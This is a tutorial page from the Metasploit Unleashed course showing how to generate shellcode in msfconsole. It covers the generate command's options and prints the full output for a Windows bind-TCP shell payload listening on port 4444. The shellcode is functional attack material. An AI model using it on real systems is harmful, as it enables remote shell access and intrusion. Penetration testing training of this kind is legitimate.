Metasploit Generating Payloads

From Metasploit Unleashed - Mastering The Framework

During exploit development, you will most certainly need to generate shellcode to use in your exploit. In Metasploit, payloads can be generated from within the msfconsole. When you 'use' a certain payload, Metasploit adds the 'generate' command.

msf > use payload/windows/shell/bind_tcp
msf payload(bind_tcp) > help
...snip...

Payload Commands
================

    Command       Description
    -------       -----------
    generate      Generates a payload

msf payload(bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -i   the number of encoding iterations.
    -k        Keep the template executable functional
    -o   A comma separated list of options in VAR=VAL format.
    -p   The Platform for output.
    -s   NOP sled length.
    -t   The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x   The executable template to use

To generate shellcode without any options, simply execute the 'generate' command.

msf payload(bind_tcp) > generate
# windows/shell/bind_tcp - 298 bytes (stage 1)
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444, RHOST=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb" +
"\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2" +
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" +
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75" +
"\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9" +
"\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56" +
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" +
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85" +
"\xf6\x75\xec\xc3"
...snip...